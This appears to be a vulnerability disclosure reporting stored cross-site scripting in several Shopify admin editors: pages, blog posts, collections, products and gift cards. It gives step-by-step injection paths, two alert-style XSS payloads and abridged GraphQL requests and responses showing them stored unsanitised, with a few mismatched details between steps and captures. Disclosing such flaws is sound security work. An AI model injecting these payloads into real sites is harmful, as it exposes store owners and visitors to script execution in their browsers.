Shopify Cross Site Scripting

`Correspondence from Shopify declined to comment regarding new discovered  
vulnerabilities within their website.  
  
Although 'frontend' vulnerabilities are considered out of scope,  
person/tester foundhimself a beefy bugbounty from the same page that has  
been listed below, including similar functionality that has not been tested  
yet.  
  
Two emails and several reports, the 'hacker-1' staff reject the bid for  
findings.  
  
  
Online Store -> Pages -> Add Page -> Title -> Title_Name -> Content ->  
Paste Payload -> <script src=1 href=1  
onerror="javascript:alert(1)"></script>-> Show HTML -> Fix HTML encoding of  
tags from  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
  
1. Browse to Online Store  
2. Select Pages -> Add Page  
3. Set Title -> Title_Name  
4. Set Content -> Paste Payload -> <script src=1 href=1  
onerror="javascript:alert(1)"></script>  
5. Select Show HTML  
6. Fix HTML encoding of tags  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
  
// HTTP POST request showing XSS payload  
  
POST /admin/online-store/admin/api/unversioned/graphql?operation=PageUpdate  
HTTP/2  
Host: test-img-src-x-onerror-alert1-test.myshopify.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)  
Gecko/20100101 Firefox/108.0  
[...]  
  
[...]  
"page":{"bodyHtml":"<script src=1 href=1  
onerror=\"javascript:alert(1)\"></script>"  
[...]  
  
  
// HTTP response  
  
HTTP/2 200 OK  
Content-Type: application/json; charset=utf-8  
[...]  
  
[...]  
page":{"id":"gid://shopify/OnlineStorePage/...","body":"<script src=\"1\"  
href=\"1\"  
onerror=\"javascript:alert(1)\"></script>\n\ntest","title":"Title_Name"  
[...]  
  
  
Online Store -> Blog Posts -> Add Blog Post -> Title -> Blog_Title ->  
Content -> Paste Payload -> <form><button  
formaction="javascript:javascript:alert(1)">X </button></form> -> Show HTML  
-> Fix HTML encoding of tags from  
<p><form><button  
formaction="javascript:javascript:alert(1)">X</button></form></p>  
to <p><form><button formaction="javascript:javascript:alert(1)">X<br  
/></button></form></p>  
  
1. Browse to Online Store  
2. Select Blog Posts -> Add Blog Post  
3. Set Title -> Blog_Title  
4. Set Content -> Paste Payload -> <script src=1 href=1  
onerror="javascript:alert(1)"></script>  
5. Select Show HTML  
6. Fix HTML encoding of tags  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
  
// HTTP POST request showing XSS payload  
  
POST  
/admin/online-store/admin/api/unversioned/graphql?operation=ArticleUpdate  
HTTP/2  
Host: test-img-src-x-onerror-alert1-test.myshopify.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)  
Gecko/20100101 Firefox/108.0  
[...]  
  
[...]  
"article":{"blogId":"gid://shopify/OnlineStoreBlog/...","body":"<script  
src=1 href=1 onerror=\"javascript:alert(1)\"></script>"  
[...]  
  
  
// HTTP response showing unsanitized payload  
  
HTTP/2 200 OK  
Content-Type: application/json; charset=utf-8  
[...]  
  
[...]  
"article":{"id":"gid://shopify/OnlineStoreArticle/...","title":"Blog_Title","body":"<script  
src=\"1\" href=\"1\"  
onerror=\"javascript:alert(1)\"></script>\n","handle":"blog_title-2"  
[...]  
  
  
Products -> Collections -> Create Collection -> Title -> Product_Title ->  
Description -> Paste Payload -> <form><button  
formaction="javascript:javascript:alert(1)">X </button></form> -> Show HTML  
-> Fix HTML encoding of tags from  
<p><form><button  
formaction="javascript:javascript:alert(1)">X</button></form></p>  
to <p><form><button formaction="javascript:javascript:alert(1)">X<br  
/></button></form></p>  
  
1. Browse to Products  
2. Select Collections -> Create Collection  
3. Set Title -> Collection_Title  
4. Set Content -> Paste Payload -> <script src=1 href=1  
onerror="javascript:alert(1)"></script>  
5. Select Show HTML  
6. Fix HTML encoding of tags  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
  
// HTTP POST request showing XSS payload  
  
POST  
/admin/internal/web/graphql/core?operation=CreateCollection&type=mutation  
HTTP/2  
Host: test-img-src-x-onerror-alert1-test.myshopify.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)  
Gecko/20100101 Firefox/108.0  
[...]  
  
[...]  
"collection":{"title":"Collection_Title","descriptionHtml":"<script src=1  
href=1 onerror=\"javascript:alert(1)\"></script>"  
[...]  
  
  
// HTTP response showing unsanitized payload  
  
HTTP/2 200 OK  
Content-Type: application/json; charset=utf-8  
[...]  
  
[...]  
"collection":{"id":"gid://shopify/Collection/...","title":"Collection_Title","descriptionHtml":"<script  
src=\"1\" href=\"1\" onerror=\"javascript:alert(1)\"></script>"  
[...]  
  
  
Products -> Inventory -> View Products -> Double Click on Product -> Title  
-> Inventory_Title -> Description -> Paste Payload -> <form><button  
formaction="javascript:javascript:alert(1)">X </button></form> -> Show HTML  
-> Fix HTML encoding of tags from  
<p><form><button  
formaction="javascript:javascript:alert(1)">X</button></form></p>  
to <p><form><button formaction="javascript:javascript:alert(1)">X<br  
/></button></form></p>  
  
1. Browse to Products  
2. Select Inventory-> View Products  
3. Select Product -> Title -> Product_Title  
4. Set Description -> Paste Payload -> <script src=1 href=1  
onerror="javascript:alert(1)"></script>  
5. Select Show HTML  
6. Fix HTML encoding of tags  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
  
// HTTP POST request showing XSS payload  
  
POST /admin/internal/web/graphql/core?operation=UpdateProduct&type=mutation  
HTTP/2  
Host: test-img-src-x-onerror-alert1-test.myshopify.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)  
Gecko/20100101 Firefox/108.0  
[...]  
  
[...]  
"product":{"descriptionHtml":"<script onerror=\"javascript:alert(1)\"  
href=\"1\" src=\"1\"></script>","workflow":"product-details-update"  
[...]  
  
  
// HTTP response showing unsanitized payload  
  
HTTP/2 200 OK  
Content-Type: application/json; charset=utf-8  
[...]  
  
[...]  
"product":{"id":"gid://shopify/Product/...","title":"Product_Title","handle":"product_title","descriptionHtml":"<script  
onerror=\"javascript:alert(1)\" href=\"1\" src=\"1\"></script>"  
[...]  
  
  
  
  
Products -> Add Product -> Title -> Product_Title -> Description -> Paste  
Payload -> <form><button formaction="javascript:javascript:alert(1)">X  
</button></form> -> Show HTML -> Fix HTML encoding of tags from  
<p><form><button  
formaction="javascript:javascript:alert(1)">X</button></form></p>  
to <p><form><button formaction="javascript:javascript:alert(1)">X<br  
/></button></form></p>  
  
1. Browse to Products  
2. Add Product -> Title -> Product_Title  
3. Set Description -> Paste Payload -> <script src=1 href=1  
onerror="javascript:alert(1)"></script>  
4. Select Show HTML  
5. Fix HTML encoding of tags  
  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
  
// HTTP POST request showing XSS payload  
  
POST /admin/internal/web/graphql/core?operation=UpdateProduct&type=mutation  
HTTP/2  
Host: test-img-src-x-onerror-alert1-test.myshopify.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)  
Gecko/20100101 Firefox/108.0  
[...]  
  
[...]  
"product":{"descriptionHtml":"<p>&nbsp;</p>...\"><script src=1 href=1  
onerror=\"javascript:alert(1)\"></script>\n</code></pre>"  
[...]  
  
  
// HTTP response showing unsanitized payload  
  
HTTP/2 200 OK  
Content-Type: application/json; charset=utf-8  
[...]  
  
[...]  
"title":"Gift_Title","><script src=\"1\" href=\"1\"  
onerror=\"javascript:alert(1)\"></script>\n</code></pre>",  
[...]  
  
  
  
Products -> Gift Cards -> Add Gift Card Products -> Gift_Title -> Paste  
Payload -> <form><button formaction="javascript:javascript:alert(1)">X  
</button></form> -> Show HTML -> Fix HTML encoding of tags from  
<p><form><button  
formaction="javascript:javascript:alert(1)">X</button></form></p>  
to <p><form><button formaction="javascript:javascript:alert(1)">X<br  
/></button></form></p>  
  
1. Browse to Products  
2. Select Gift Cards  
3. Add Gift Card Products -> Gift_Title  
4. Set Description -> Paste Payload -> <script src=1 href=1  
onerror="javascript:alert(1)"></script>  
5. Select Show HTML  
6. Fix HTML encoding of tags  
  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
<script src=1 href=1 onerror="javascript:alert(1)"></script>  
  
  
// HTTP POST request showing XSS payload  
  
POST /admin/internal/web/graphql/core?operation=CreateProduct&type=mutation  
HTTP/2  
Host: test-img-src-x-onerror-alert1-test.myshopify.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)  
Gecko/20100101 Firefox/108.0  
[...]  
  
[...]  
"product":{"title":"Gift_Title","descriptionHtml":"<script src=1 href=1  
onerror=\"javascript:alert(1)\"></script>"  
[...]  
  
  
// HTTP response showing unsanitized payload  
  
HTTP/2 200 OK  
Content-Type: application/json; charset=utf-8  
[...]  
  
[...]  
"title":"Gift_Title","handle":"gift_title-1","descriptionHtml":"<script  
src=\"1\" href=\"1\" onerror=\"javascript:alert(1)\"></script>"  
[...]  
  
  
  
1. Browse to /admin/pages  
2. Template -> Add Section -> Contact Form -> Heading -> XSS Payload  
3. Online Store -> Pages -> Add Page ->  
  
<form><button formaction="javascript:javascript:alert(1)">X</button></form>  
  
https://test-img-src-x-onerror-alert1-test.myshopify.com/admin/settings/notifications  
  
`